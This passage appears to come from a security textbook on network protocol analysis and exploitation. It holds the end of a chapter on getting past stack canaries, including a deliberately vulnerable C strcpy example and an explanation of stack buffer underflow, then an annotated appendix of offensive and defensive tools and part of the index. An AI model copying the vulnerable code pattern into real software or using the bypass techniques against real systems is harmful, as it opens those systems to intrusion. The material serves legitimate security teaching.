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int DoSomething(const char* str)
{
    int (*f)(const char*) = ADDR
    char buffer[32];
    strcpy(buffer, str);
    return f(buffer);
}

buffer[32]

Figure 10-13: Corrupting local variables without setting off the stack canary

There are many ways in which modern compilers can protect against 
corrupting local variables, including reordering variables so buffers are 
always above any single variable, which when corrupted, could be used to 
exploit the vulnerability.

Bypassing Canaries with Stack Buffer Underflow

For performance reasons, not every function will place a canary on the stack. 
If the function doesn’t manipulate a memory buffer on the stack, the com-
piler might consider it safe and not emit the instructions necessary to add the 
canary. In most cases, this is the correct thing to do. However, some vulner-
abilities overflow a stack buffer in unusual ways: for example, the vulnerabil-
ity might cause an underflow instead of an overflow, corrupting data lower in 
the stack. Figure 10-14 shows an example of this kind of vulnerability.

Figure 10-14 illustrates three steps. First, the function DoSomething() is 
called . This function sets up a buffer on the stack. The compiler deter-
mines that this buffer needs to be protected, so it generates a stack canary 
to prevent an overflow from overwriting the return address of DoSomething(). 
Second, the function calls the Process() method, passing a pointer to the 
buffer it set up. This is where the memory corruption occurs. However, 
instead of overflowing the buffer, Process() writes to a value below, for 
example, by referencing p[-1] . This results in corruption of the return 
address of the Process() method’s stack frame that has stack canary protec-
tion. Third, Process() returns to the corrupted return address, resulting in 
shell code execution .
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Figure 10-14: Stack buffer underflow

Final Words
Finding and exploiting vulnerabilities in a network application can be dif-
ficult, but this chapter introduced some techniques you can use. I described 
how to triage vulnerabilities to determine the root cause using a debugger; 
with the knowledge of the root cause, you can proceed to exploit the vul-
nerability. I also provided examples of writing simple shell code and then 
developing a payload using ROP to bypass a common exploit mitigation 
DEP. Finally, I described some other common exploit mitigations on mod-
ern operating systems, such as ASLR and memory canaries, and the tech-
niques to circumvent these mitigations.

This is the final chapter in this book. At this point you should be 
armed with the knowledge of how to capture, analyze, reverse engineer, 
and exploit networked applications. The best way to improve your skills is 
to find as many network applications and protocols as you can. With experi-
ence, you’ll easily spot common structures and identify patterns of protocol 
behavior where security vulnerabilities are typically found.



N etwork       P rotocol        
A nal  y sis    T oolkit    

Throughout this book, I’ve demonstrated several tools 
and libraries you can use in network protocol analy-
sis, but I didn’t discuss many that I use regularly. This 
appendix describes the tools that I’ve found useful 
during analysis, investigation, and exploitation. Each 
tool is categorized based on its primary use, although 
some tools would fit several categories. 
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Passive Network Protocol Capture and Analysis Tools
As discussed in Chapter 2, passive network capture refers to listening and 
capturing packets without disrupting the flow of traffic. 

Microsoft Message Analyzer 
Website  http://blogs.technet.com/b/messageanalyzer/

License  Commercial; free of charge

Platform  Windows

The Microsoft Message Analyzer is an extensible tool for analyzing network 
traffic on Windows. The tool includes many parsers for different protocols 
and can be extended with a custom programming language. Many of its 
features are similar to those of Wireshark except Message Analyzer has 
added support for Windows events. 

TCPDump and LibPCAP
Website  http://www.tcpdump.org/; http://www.winpcap.org/ for Windows 
implementation (WinPcap/WinDump)
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License  BSD License

Platforms  BSD, Linux, macOS, Solaris, Windows

The TCPDump utility installed on many operating systems is the grandfather 
of network packet capture tools. You can use it for basic network data analy-
sis. Its LibPCAP development library allows you to write your own tools to 
capture traffic and manipulate PCAP files. 

Wireshark
Website  https://www.wireshark.org/

License  GPLv2

Platforms  BSD, Linux, macOS, Solaris, Windows

Wireshark is the most popular tool for passive packet capture and analysis. 
Its GUI and large library of protocol analysis modules make it more robust 
and easier to use than TCPDump. Wireshark supports almost every well-
known capture file format, so even if you capture traffic using a different 
tool, you can use Wireshark to do the analysis. It even includes support for 
analyzing nontraditional protocols, such as USB or serial port communica-
tion. Most Wireshark distributions also include tshark, a replacement for 
TCPDump that has most of the features offered in the main Wireshark 
GUI, such as the protocol dissectors. It allows you to view a wider range of 
protocols on the command line. 
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Active Network Capture and Analysis
To modify, analyze, and exploit network traffic as discussed in Chapters 2 
and 8, you’ll need to use active network capture techniques. I use the 
following tools on a daily basis when I’m analyzing and testing network 
protocols.

Canape 
Website  https://github.com/ctxis/canape/

License  GPLv3

Platforms  Windows (with .NET 4)

I developed the Canape tool as a generic network protocol man-in-
the-middle testing, analyzing, and exploitation tool with a usable GUI. 
Canape contains tools that allow users to develop protocol parsers, C# and 
IronPython scripted extensions, and different types of man-in-the-middle 
proxies. It’s open source as of version 1.4, so users can contribute to its 
development.



Network Protocol Analysis Toolkit    281

Canape Core
Website  https://github.com/tyranid/CANAPE.Core/releases/

License  GPLv3 

Platforms  .NET Core 1.1 and 2.0 (Linux, macOS, Windows)

The Canape Core libraries, a stripped-down fork of the original Canape 
code base, are designed for use from the command line. In the examples 
throughout this book, I’ve used Canape Core as the library of choice. It has 
much the same power as the original Canape tool while being usable on 
any OS supported by .NET Core instead of only on Windows.

Mallory
Website  https://github.com/intrepidusgroup/mallory/

License  Python Software Foundation License v2; GPLv3 if using 
the GUI

Platform  Linux

Mallory is an extensible man-in-the-middle tool that acts as a network gate-
way, which makes the process of capturing, analyzing, and modifying traf-
fic transparent to the application being tested. You can configure Mallory 
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using Python libraries as well as a GUI debugger. You’ll need to configure 
a separate Linux VM to use it. Some useful instructions are available at 
https://bitbucket.org/IntrepidusGroup/mallory/wiki/Mallory_Minimal_Guide/.

Network Connectivity and Protocol Testing
If you’re trying to test an unknown protocol or network device, basic net-
work testing can be very useful. The tools listed in this section help you dis-
cover and connect to exposed network servers on the target device.

Hping
Website  http://www.hping.org/

License  GPLv2

Platforms  BSD, Linux, macOS, Windows

The Hping tool is similar to the traditional ping utility, but it supports 
more than just ICMP echo requests. You can also use it to craft custom 
network packets, send them to a target, and display any responses. This 
is a very useful tool to have in your kit.

Netcat
Website  Find the original at http://nc110.sourceforge.net/ and the GNU 
version at http://netcat.sourceforge.net/

License  GPLv2, public domain

Platforms  BSD, Linux, macOS, Windows 

Netcat is a command line tool that connects to an arbitrary TCP or UDP 
port and allows you to send and receive data. It supports the creation of 
sending or listening sockets and is about as simple as it gets for network 
testing. Netcat has many variants, which, annoyingly, all use different com-
mand line options. But they all do pretty much the same thing.

Nmap
Website  https://nmap.org/

License  GPLv2

Platforms  BSD, Linux, macOS, Windows

If you need to scan the open network interface on a remote system, nothing 
is better than Nmap. It supports many different ways to elicit responses from 
TCP and UDP socket servers, as well as different analysis scripts. It’s invalu-
able when you’re testing an unknown device.
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Web Application Testing
Although this book does not focus heavily on testing web applications, doing 
so is an important part of network protocol analysis. One of the most widely 
used protocols on the internet, HTTP is even used to proxy other protocols, 
such as DCE/RPC, to bypass firewalls. Here are some of the tools I use and 
recommend.

Burp Suite
Website  https://portswigger.net/burp/

License  Commercial; limited free version is available

Platforms  Supported Java platforms (Linux, macOS, Solaris, 
Windows)

Burp Suite is the gold standard of commercial web application–testing 
tools. Written in Java for maximum cross-platform capability, it provides 
all the features you need for testing web applications, including built-in 
proxies, SSL decryption support, and easy extensibility. The free version 
has fewer features than the commercial version, so consider buying the 
commercial version if you plan to use it a lot.



284   Appendix

Zed Attack Proxy (ZAP)
Website  https://www.owasp.org/index.php/ZAP

License  Apache License v2

Platforms  Supported Java platforms (Linux, macOS, Solaris, 
Windows)

If Burp Suite’s price is beyond reach, ZAP is a great free option. Developed by 
OWASP, ZAP is written in Java, can be scripted, and can be easily extended 
because it’s open source.

Mitmproxy
Website  https://mitmproxy.org/

License  MIT

Platforms  Any Python-supported platform, although the program is 
somewhat limited on Windows
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Mitmproxy is a command line–based web application–testing tool written 
in Python. Its many standard features include interception, modification, 
and replay of requests. You can also include it as a separate library within 
your own applications.

Fuzzing, Packet Generation, and  
Vulnerability Exploitation Frameworks

Whenever you’re developing exploits for and finding new vulnerabilities, 
you’ll usually need to implement a lot of common functionality. The follow-
ing tools provide a framework, allowing you to reduce the amount of stan-
dard code and common functionality you need to implement. 

American Fuzzy Lop (AFL)
Website  http://lcamtuf.coredump.cx/afl/

License  Apache License v2

Platforms  Linux; some support for other Unix-like platforms

Don’t let its cute name throw you off. American Fuzzy Lop (AFL) may be 
named after a breed of rabbit, but it’s an amazing tool for fuzz testing, espe-
cially on applications that can be recompiled to include special instrumenta-
tion. It has an almost magical ability to generate valid inputs for a program 
from the smallest of examples. 
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Kali Linux
Website  https://www.kali.org/

Licenses  A range of open source and non-free licenses depending on 
the packages used

Platforms  ARM, Intel x86 and x64

Kali is a Linux distribution designed for penetration testing. It comes pre-
installed with Nmap, Wireshark, Burp Suite, and various other tools listed in 
this appendix. Kali is invaluable for testing and exploiting network protocol 
vulnerabilities, and you can install it natively or run it as a live distribution.

Metasploit Framework
Website  https://github.com/rapid7/metasploit-framework/

License  BSD, with some parts under different licenses

Platforms  BSD, Linux, macOS, Windows

Metasploit is pretty much the only game in town when you need a generic 
vulnerability exploitation framework, at least if you don’t want to pay 
for one. Metasploit is open source, is actively updated with new vulner-
abilities, and will run on almost all platforms, making it useful for testing 
new devices. Metasploit provides many built-in libraries to perform typical 
exploitation tasks, such as generating and encoding shell code, spawning 
reverse shells, and gaining elevated privileges, allowing you to concentrate 
on developing your exploit without having to deal with various implementa-
tion details.
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Scapy
Website  http://www.secdev.org/projects/scapy/

License  GPLv2

Platforms  Any Python-supported platform, although it works best on 
Unix-like platforms

Scapy is a network packet generation and manipulation library for Python. 
You can use it to build almost any packet type, from Ethernet packets 
through TCP or HTTP packets. You can replay packets to test what a net-
work server does when it receives them. This functionality makes it a very 
flexible tool for testing, analysis, or fuzzing of network protocols.

Sulley
Website  https://github.com/OpenRCE/sulley/

License  GPLv2

Platforms  Any Python-supported platform

Sulley is a Python-based fuzzing library and framework designed to simplify 
data representation, transmission, and instrumentation. You can use it to 
fuzz anything from file formats to network protocols. 

Network Spoofing and Redirection
To capture network traffic, sometimes you have to redirect that traffic to a lis-
tening machine. This section lists a few tools that provide ways to implement 
network spoofing and redirection without needing much configuration.

DNSMasq

Website  http://www.thekelleys.org.uk/dnsmasq/doc.html

License  GPLv2

Platform  Linux

The DNSMasq tool is designed to quickly set up basic network services, such 
as DNS and DHCP, so you don’t have to hassle with complex service con-
figuration. Although DNSMasq isn’t specifically designed for network spoof-
ing, you can repurpose it to redirect a device’s network traffic for capture, 
analysis, and exploitation. 

Ettercap
Website  https://ettercap.github.io/ettercap/

License  GPLv2

Platforms  Linux, macOS
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Ettercap (discussed in Chapter 4) is a man-in-the-middle tool designed to 
listen to network traffic between two devices. It allows you to spoof DHCP 
or ARP addresses to redirect a network’s traffic.

Executable Reverse Engineering
Reviewing the source code of an application is often the easiest way to 
determine how a network protocol works. However, when you don’t have 
access to the source code, or the protocol is complex or proprietary, net-
work traffic–based analysis is difficult. That’s where reverse engineering 
tools come in. Using these tools, you can disassemble and sometimes 
decompile an application into a form that you can inspect. This section 
lists several reverse engineering tools that I use. (See the discussion in 
Chapter 6 for more details, examples, and explanation.)

Java Decompiler (JD)
Website  http://jd.benow.ca/

License  GPLv3

Platforms  Supported Java platforms (Linux, macOS, Solaris, Windows)

Java uses a bytecode format with rich metadata, which makes it fairly easy 
to reverse engineer Java bytecode into Java source code using a tool such 
as the Java Decompiler. The Java Decompiler is available with a stand-alone 
GUI as well as plug-ins for the Eclipse IDE.
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IDA Pro
Website  https://www.hex-rays.com/

License  Commercial; limited free version available

Platforms  Linux, macOS, Windows

IDA Pro is the best-known tool for reverse engineering executables. It 
disassembles and decompiles many different process architectures, and 
it provides an interactive environment to investigate and analyze the disas-
sembly. Combined with support for custom scripts and plug-ins, IDA Pro 
is the best tool for reverse engineering executables. Although the full pro-
fessional version is quite expensive, a free version is available for noncom-
mercial use; however, it is restricted to 32-bit x86 binaries and has other 
limitations.

Hopper
Website  http://www.hopperapp.com/

License  Commercial; a limited free trial version is also available

Platforms  Linux, macOS
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Hopper is a very capable disassembler and basic decompiler that can more 
than match many of the features of IDA Pro. Although as of this writing 
Hopper doesn’t support the range of processor architectures that IDA Pro 
does, it should prove more than sufficient in most situations due to its sup-
port of x86, x64, and ARM processors. The full commercial version is con-
siderably cheaper than IDA Pro, so it’s definitely worth a look.

ILSpy
Website  http://ilspy.net/

License  MIT

Platform  Windows (with .NET4)

ILSpy, with its Visual Studio–like environment, is the best supported of the 
free .NET decompiler tools. 

.NET Reflector
Website  https://www.red-gate.com/products/dotnet-development/reflector/

License  Commercial

Platform  Windows
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Reflector is the original .NET decompiler. It takes a .NET executable or 
library and converts it into C# or Visual Basic source code. Reflector is very 
effective at producing readable source code and allowing simple navigation 
through an executable. It’s a great tool to have in your arsenal. 
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heap buffer overflows, 248–249
stack buffer overflows, 246–248

memory-safe vs. memory-unsafe 
languages, 210

off-by-one error, 213
out-of-bounds buffer indexing, 

216–217
memory exhaustion attacks, 222–223
memory index registers, 117
memory sections, 120
memory-safe languages, 210
memory-unsafe languages, 210
Message Analyzer, 278
message authentication codes (MACs)

collision attacks, 166–168
hashed, 168–169
length-extension attacks, 166–168
signature algorithms, 166–168

Message command, 101–102
message digest (MD) algorithm, 164

MD4, 165
MD5, 133, 165–167

message packet, 100–103
Metasploit, 286

accessing payloads, 265
advantages and disadvantages of, 

265–266
executing payloads, 266
generating shell code with, 

265–266
MethodInfo type (.NET), 192
Microsoft, 170
Microsoft Message Analyzer, 278
MIME (Multipurpose Internet Mail 

Extensions), 56–57
minus sign (-), 55
MIPS, 42, 137
Mitmproxy, 284–285
mnemonic instruction, 114
modulo arithmetic, 214
modulus, 161, 214
mono binary, 80
Mono Project, 137
most significant bit (MSB), 38
MOV instruction, 115
Mozilla Firefox, 26
MSCORLIB, 141
MS-DOS, 119
msfvenom tool, 265–266
multibyte character sets, 44
multiplexing, 51–52
Multipurpose Internet Mail Extensions 

(MIME), 56–57
multitasking, 120
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namespace, 193
name-value pairs (XML), 58
nasm assembler, 256, 258, 263
NAT. See network address 

translation (NAT)
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base class library, 141
file formats, 137–138
ILSpy, 138–141
reflection binding types, 192
reflection types, 190
repurposing codes in, 189–193
repurposing executable codes in

assembly loading, 190–193
using Reflection APIs, 190

.NET Core, 80

.NET Reflector, 290–291
Netcat, 180–182, 234, 282
NetClientTemplate class, 184–185
netstat -r command, 65
Netwide Assembler, 256
network, 1

connectivity and protocol testing 
tools

Hping, 282
Netcat, 282
Nmap, 282–283

monitoring connections with 
DTrace, 16–18

proxies, 20–35
routing, 7–8

network address, 7, 20, 22, 52–53, 66, 
71, 123

network address translation (NAT), 
68–71

defined, 68
destination, 24, 68
source, 68–69

network communication, 4
Berkeley Sockets model, 15
layers, 3
man-in-the-middle attack on, 20
symmetric ciphers, 150
user-to-kernel, 15

network interface, 121–124
client connection to TCP server, 122
TCP client connection to server, 

121–122
Network News Transfer Protocol 

(NNTP), 59
network order, 42

newInstance() method (Java), 195
Nmap, 282–283
NNTP (Network News Transfer 

Protocol), 59
nodes, 1

gateway, 64
identifying through addressing, 2

no-execute (NX) mitigation, 267
nonlinearity, 165
nonpersistent denial-of-service, 208
NULL, 263–264
numeric data

decimal numbers, 55
floating-point data, 40–41
integers, 55
signed integers, 39
text protocols, 55
unsigned integers, 38
variable-length integers, 39–40

NX (no-execute) mitigation, 267

O
OAEP (Optimal Asymmetric 

Encryption Padding), 162
obfuscation, 143–144
octets, 38–40
octet-stream, 57
off-by-one error, 213
offer (DHCP packet), 71
one-time pad encryption, 148
open system call, 18
OpenSSL, 132
operands, 115
operating system

application binary interface, 
123–124

executable file formats, 119–120
networking interface, 121–124
processes, 120–121
sections, 120
threads, 120–121

Optimal Asymmetric Encryption 
Padding (OAEP), 162

OR instruction, 115
outbound bytes, 89
outbound traffic, 89
outer padding block, 168
out-of-band method, 253
out-of-bounds buffer indexing, 216–217
output feedback mode, 159
overflow flag, 117
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package-private scoped classes, 193
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calculating checksum of, 93–94
capturing, 83–84
finding, 87–88
identifying structure with Hex 

Dump, 86–95
sniffing, 12–14
viewing, 87–88

packing tools, 134
padded data, 49
padding

block ciphers, 155–156
decryption, 155–157
encryption, 155
inner block, 168
OAEP, 162
oracle attack, 156–158
outer block, 168
RSA encryption, 155, 162

Page Heap, 244–245
parity flag, 117
Parser class, 106, 185
parser.csx script, 183–184
parsing

binary conversion and, 90
decimal numbers and, 55
endianness of data and, 41
HTTP header, 33
message command, 101–102
message packet, 100–103
mutation fuzzer and, 235
protocol, 107–108
Python script for, 91
traffic, 183
URL, 230
variable-length integers, 40

partial overwrites, 272–273
passive network capture

advantages and disadvantages of, 
19–20

Dtrace, 16–18
packet sniffing, 12–14
Process Monitor tool, 17–18
strace, 16
system call tracing, 14–16
tools

LibPCAP, 278–279
Microsoft Message Analyzer, 278
TCPDump, 278–279
Wireshark, 12–13, 279–280

path, 220
$pc, 239
PDB (program database) file, 129–131
PDP-11, 42
PDU (protocol data unit), 4
PE (Portable Executable) format, 120, 

134, 144
PEiD, 134
PEM format, 202
percent encoding, 60
perfect forward secrecy, 177
permutation boxes (P-Box), 152
persistent denial-of-service, 208
PGP (Pretty Good Privacy), 169
PHP, 255
PKI. See public key infrastructure (PKI)
plain, 57
plaintext, 146
plus sign (+), 54
Point-to-Point Protocol (PPP), 3
POP3 (Post Office Protocol 3), 4
POP instruction, 115
port, 2
port numbers, 5
Portable Executable (PE) format, 120, 

134, 144
port-forwarding proxy. See also proxies

advantages and disadvantages of, 
23–24

binding to network addresses, 22
redirecting traffic to, 22–23
simple implementation of, 21–22

POSIX, 15
POSIX/Unix time, 50
POST, 29
Post Office Protocol 3 (POP3), 4
PowerPC, 38
PPP (Point-to-Point Protocol), 3
Practical Packet Analysis, 14
pre-image resistance (hashing 

algorithm), 165
pre-master secret (TLS), 175
Pretty Good Privacy (PGP), 169
printable characters (ASCII), 43
printf function, 227
private Connect() method (.NET), 192
private exponent, 161
private key, 161, 165
PRNGs (pseudorandom number 

generators), 149
Process() method, 275–276
Process Monitor tool, 17–18
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processes, 120–121
processor architectures, 42
program database (PDB) file, 129–131
program flow, 118–119
ProGuard, 143–144
promiscuous mode, 12
PROT_EXEC flag, 257
protocol data unit (PDU), 4
protocol stack, 3
protocols

analysis, 8–10, 105–106
binary, 38–49
changing behavior of, 108–109
checksum, 93–94
dates, 49–50
determining structure of, 88–89
fragmentation, 51–52
functions of, 2
multiplexing, 51–52
network address, 52–53
network connectivity and protocol 

testing
Hping, 282
Netcat, 282
Nmap, 282–283

parsing, 107–108
security, 145–178
structured binary formats, 53–54
tag, length, value (TLV) pattern, 

50–51
text, 54–58
times, 49–50
unknown parts, 93

proxies
HTTP, 29–35
man-in-the-middle, 20
port-forwarding, 21–24
protocol analysis with, 105–106
setting up, 103–105
SOCKS, 24–29, 103
traffic analysis with, 103–110

Proxifier, 27
pseudo registers, 239
pseudorandom number generators 

(PRNGs), 149
public Connect() method (.NET), 192
public exponent, 161
public key, 160–161, 165
Public Key Cryptography Standard 

#1.5, 162
Public Key Cryptography Standard #7 

(PKCS#7), 155–156

public key encryption. See asymmetric 
key cryptography

public key infrastructure (PKI), 
169–172

certificate chain verification, 
170–172

defined, 169
web of trust, 169
X.509 certificates, 169–170

PublicClass class, 189
PublicMethod() method, 189
PUSH instruction, 115
Python, 210

binary conversions, 90–92
calling functions with, 199
ctypes library, 195
data types, 198
dissecting protocol with, 90–95
loading library with, 197
resending captured UDP traffic 

with, 182–183
struct library, 90–92

Q
quoted string, 47–48

R
rand() function, 149
random number generators, 149
RAX register, 257–260
RC4 stream cipher, 176
RDP (Remote Desktop Protocol), 51
read system call, 15, 18, 122
read_bytes() function, 91
ReadData() function, 108
ReadOutbound() function, 109
Real Time Messaging Protocol 

(RTMP), 29
Receive() method (.NET), 193
recv system call, 15, 122–123
recvfrom system call, 15
reflection, 189
registers

control, 117
CS, 116, 118
DS, 116, 118
EAX, 116, 123, 242, 258, 270
EBP, 116–117, 124
EBX, 116, 124
ECX, 116, 124
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EDI, 116–117, 124
EDX, 116, 123–124
EFLAGS, 117, 119, 136
EIP, 116–117, 135
ES, 116, 118
ESI, 116, 124
ESP, 116–117, 124, 136, 270
FS, 116, 118
general purpose, 116–117, 136
GS, 116, 118
memory index, 117
pseudo, 239
RAX, 257–260
scratch, 123
selector, 118
SS, 116
x86 architecture, 116–118

remote code execution, 208
Remote Desktop Protocol (RDP), 51
Remote Method Invocation (RMI), 29
Remote Procedure Call (RPC), 22
request (DHCP packet), 72
Request for Comments (RFCs), 42, 

56–57
request line, 30
rerouting traffic, 64–66
RESP field, 25
RET instruction, 115
Ret2Libc, 269
RETN instruction, 115
return-oriented programming (ROP), 

268–270
reverse engineering

dynamic, 134–137
managed languages, 137–144
obfuscation, 143–144
resources, 144
static, 125–134
tools

Hopper, 289–290
IDA Pro, 289
ILSpy, 290
Java Decompiler, 288
.NET Reflector, 290–291

reverse HTTP proxy. See also 
forwarding HTTP proxy

advantages and disadvantages of, 35
host header, 32–33
redirecting traffic to, 34
simple implementation of, 33

reverse shell, 266
Rich Site Summary (RSS), 58

Rijndael, 152
Rivest, Ron, 160
RMI (Remote Method Invocation), 29
root certificate, 170
ROP (return-oriented programming), 

268–270
route print command (Windows), 65
router, 7–8

ARP poisoning, 75–77
configuring, 66–67
defined, 64
enabling DNAT, 70
enabling SNAT, 68–69

routing
on Linux, 67
on macOS, 67
on Windows, 66

routing table, 8, 65–66
RPC (Remote Procedure Call), 22
RSA encryption, 149

algorithm, 160–162
padding, 155, 162
signature algorithm, 165

RSS (Rich Site Summary), 58
Ruby, 210
Run() function, 187
runtime, 137

S
say_hello() method, 197
say_string() method, 197
say_struct() function, 199
Scan for Hosts (Ettercap), 76
Scapy, 287
scratch registers, 123
scripting languages, 112
sections (memory), 120
secure hashing algorithm (SHA), 164

SHA-1, 133, 165–166
SHA-2, 165
SHA-3, 168

Secure Sockets Layer (SSL). 
See Transport Layer 
Security (TLS)

security, 145–178
encryption, 146–149
public key infrastructure (PKI), 

169–172
random number generators, 149
requirements, 145–146
signature algorithms, 164–169
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symmetric key cryptography, 

149–159
Transport Layer Security, 172–177

segment, 5, 87
SELECT statement, 229
selector registers, 118
self-signed certificate, 170
Send() method (.NET), 192–193
send system call, 15, 122–123
sendfrom system call, 15
Serpent, 152
server random (TLS), 173
session key, 162
session state, 2
set detach-on-fork off command, 237
setAccessible() (Java), 195
SGML (Standard Generalized Markup 

Language), 58
SHA. See secure hashing 

algorithm (SHA)
Shamir, Adi, 160
shared key, 163
shell code

accessing payloads, 265
debugging technique, 258–259
generating with Metasploit, 265–266
relative address on 32- and 64-bit 

systems, 263
reverse shell, 266
setting breakpoint on, 258–259
system calls, 259

exit, 260–261
write, 261–263

writing, 255–266
shell_bind_tcp, 265
Shift-JIS, 44
SHL instruction, 115, 119
SHR instruction, 115
sign flag, 117
signature algorithms, 146, 164–169

asymmetric, 165
cryptographic hashing algorithms, 

164–165
DSA, 165
message authentication codes, 

166–168
RSA, 165
symmetric, 166

signed integers, 39
simple checksum, 93–94

Simple Mail Transport Protocol 
(SMTP), 3–4, 56, 59

Simple Network Management Protocol 
(SNMP), 53

sketches, 150
sniffing, 12–14, 73
sockaddr_in structure, 17, 122
socket system call, 15
SOCKS proxy, 103. See also proxies

advantages and disadvantages of, 
28–29

Firefox proxy configuration, 26
Java TCP client, 27
overview, 24
redirecting traffic to, 26–27
simple implementation of, 25–26
versions, 24–25

socksProxyHost system property, 27
socksProxyPort system property, 27
SOH (Start of Header), 56
Solaris, 16, 120
source address, 5
source code, 112
source network address translation 

(SNAT)
configuring on Linux, 69
enabling, 68–69

$sp, 239
SPARC architecture, 42, 118, 137
spoofing

DHCP, 71–74
DNS, 34
tools, 287–288

sprintf string function, 212
SQL. See Structured Query 

Language (SQL)
SS register, 116
stack buffer overflows, 246–248, 

273–276
stack buffer underflow, 275–276
stack trace, 239–240
stack variables, 128
Standard Generalized Markup 

Language (SGML), 58
start address, 120
Start of Header (SOH), 56
static linking, 113–114
static reverse engineering, 125–134. See 

also reverse engineering
analyzing strings in, 133
extracting symbolic information in, 

129–131
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identifying key functionality in, 
129–134

stack variables and arguments, 128
stdcall, 199
storage exhaustion attacks, 223–224
strace, 16
strcat string function, 212
strcpy string function, 212
strcpy_s string function, 212
stream ciphers, 158–159. See also block 

ciphers
strings, 42–46

analyzing, 132
ASCII standard, 42–44

Strip tool, 131
struct library (Python), 90
Structure class, 199
structured binary formats, 53–54
Structured Query Language (SQL)

injection, 228–229
Server, 229

structured text formats, 56–58
SUB instruction, 115
subroutine calling, 118–119
substitution boxes (S-Box), 152
substitution ciphers, 147
substitution-permutation network, 152
Sulley, 287
SuperFunkyChat

analysis proxy
captured traffic, 183–187
simple network client, 184–186
simple server, 186–188

ChatClient, 81, 83–84, 106, 200
ChatServer, 80, 106
commands, 81
communicating between clients, 81
dissectors, 95–103
parser code for, 107
starting clients, 80–81
starting the server, 80
UDP mode, 97

switch device, 6
symbolic information, 129–131
symmetric key cryptography, 149. 

See also asymmetric key 
cryptography

block ciphers, 150–159
stream ciphers, 158–159

symmetric signature algorithms, 166
synchronize flag (SYN), 41

system API, 268
System assembly, 141
system calls

accept, 123
bind, 15
connect, 15
exit, 260–261
open, 18
read, 15, 18, 122
recv, 15, 122–123
recvfrom, 15
send, 15, 122–123
sendfrom, 15
shell code, 259–262
socket, 15
tracing, 14–19
Unix-like systems, 15–16, 122
write, 15, 18, 122, 261–263

system function, 228
System.Activator class (.NET), 191
System.Reflection.Assembly class 

(.NET), 190
System.Reflection.ConstructorInfo class 

(.NET), 190
System.Reflection.FieldInfo class 

(.NET), 190
System.Reflection.MethodInfo class 

(.NET), 190
System.Reflection.PropertyInfo class 

(.NET), 190
System.Type class (.NET), 190

T
tag, length, value (TLV) pattern, 

50–51, 89, 94–95
TCP. See Transmission Control 

Protocol (TCP)
TCPDump, 278–279
TCP/IP, 2, 9–10, 121, 262
TCP/IP Guide, 16
TcpNetworkListener (ILSpy), 140
terminated data, 47–48
terminated text, 56
TEST instruction, 115, 119
testy virtual buffer (TVB), 99
text protocols, 54

Booleans, 55
dates, 55
numeric data, 55
structured text formats, 56–58
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times, 55
variable-length data, 55

text-encoding character replacement, 
229–231

threads, 120–121
times, 49–50, 55
TLS. See Transport Layer Security (TLS)
TLS Record protocol, 172
TLV (tag, length, value) pattern, 

50–51, 89, 94–95
ToDataString() method, 186
token, 56
tools

for active network capture and 
analysis

Canape, 280–281
Canape Core, 281
Mallory, 281–282

fuzz testing
American Fuzzy Lop, 285–286
Kali Linux, 286
Metasploit, 286
Scapy, 286
Sulley, 286

network connectivity and protocol 
testing

Hping, 282
Netcat, 282
Nmap, 282–283

for network spoofing and 
redirection

DNSMasq, 287
Ettercap, 287–288

for passive network capture and 
analysis

LibPCAP, 278–279
Microsoft Message Analyzer, 278
TCPDump, 278–279

reverse engineering
Hopper, 289–290
IDA Pro, 289
ILSpy, 290
Java Decompiler, 288
.NET Reflector, 290–291

for web application testing
Burp Suite, 283–284
Mitmproxy, 284–285
Zed Attack Proxy, 284

traceconnect.d file, 16
traceroute, 64–65
tracert (Windows), 64–65

traffic
analysis using proxy, 103
capturing

active method, 20
HTTP, 29–35
man-in-the-middle, 20
passive method, 12–20
port-forwarding, 21–24
proxies, 20–35
SOCKS, 24–29
system call tracing, 14–19

capturing tools
Dtrace, 17–18
Netcat, 180–182
Process Monitor tool, 18–19
strace, 16

generating, 83–84
outbound, 89

Transmission Control Protocol (TCP), 
2–3, 21

bit flags, 41
client connection to server, 121–123
header, 5, 87
HTTP proxy, 30
packets, 87–88
port numbers, 5
port-forwarding proxy, 21–22, 201
reading contents of sessions, 85–86
reverse shell, 265–266
SOCKS proxy, 24–28
stream, 13–14

transport layer, 3, 6, 8–10
Transport Layer Security (TLS)

certificate pinning, 177
client certificate, 175
decryption, 201–202
encryption, 175–176, 200–201
endpoint authentication, 174–175
forcing TLS 1.2, 202
handshake, 172–173
initial negotiation, 173
perfect forward secrecy, 177
replacing certificate in, 202–206
security requirements, 176–177
TLS Record protocol, 172

trapdoor functions, 160
Triple DES, 151
true, 55
trusted root certification 

authorities, 204
Tshark, 180–182
TVB (testy virtual buffer), 99
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Twofish, 152
two’s complement, 39

U
UCS (Universal Character Set), 44–45
UDP. See User Datagram 

Protocol (UDP)
UI (user interface), 4
uname command, 263–264
Unicode

character encoding, 44–45
character mapping, 44–45
UCS-2/UTF-16, 45
UCS-4/UTF-32, 45

Unicode Transformation Format 
(UTF), 44–45

Unified Sniffing mode (Ettercap), 76
Uniform Request Identifier (URI), 

30, 32
uninitialized data, 120
Universal Character Set (UCS), 44–45
Unix-like systems, 5

ASLR implementation flaws in, 272
AT&T syntax, 116
command injection, 228
command line utilities on, 31
configuring DNAT on, 70
Dtrace, 16
enabling routing on, 67
error codes, 262
executable format, 120
hosts file, 23
read and write calls, 122
routing tables on, 65
system calls, 15–16, 122
traceroute, 64

Unk2 value, 93–95
unmanaged executables, 195–199

dynamic libraries, 195–196
unsafe keyword, 210
unsigned integers, 38
UPX, 134
URI (Uniform Request Identifier), 

30, 32
User Datagram Protocol (UDP), 3

captured traffic, 182–183
dissectors, 98–99
payload and header, 5
port forwading, 21
socket, 122

user enumeration, 218–219

user interface (UI), 4
user mode, 14
user-after-free vulnerability, 249–250
UTF (Unicode Transformation 

Format), 44–45
UTF-8, 45–46

V
variable binary length data

implicit-length data, 48–49
length-prefixed data, 48
padded data, 49
terminated data, 47–48

variable-length buffer overflows, 211, 
213–214

variable-length data, 56
variable-length integers, 39–40
verbose errors, 221–222
Verisign, 170
virtual function table, 242, 248–249
virtual hosts, 24
virtual machine, 137
VirtualAlloc, 250
Visual C++, 129
vulnerabilities

authentication checking, 226
classes

authentication bypass, 209
authorization bypass, 209–210
denial-of-service, 208
information disclosure, 209
remote code execution, 208

command injection, 228
CPU exhaustion attacks

algorithmic complexity, 
224–225

configurable cryptography, 
224–225

default or hardcoded 
credentials, 218

exploiting
arbitrary writing of memory, 

253–254
defined memory pool 

allocations, 252–253
heap layout manipulation, 

249–250
heap memory storage, 253
high-privileged file writes, 

254–256
low-privileged file writes, 255
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memory corruption, 245–253
user-after-free vulnerability, 

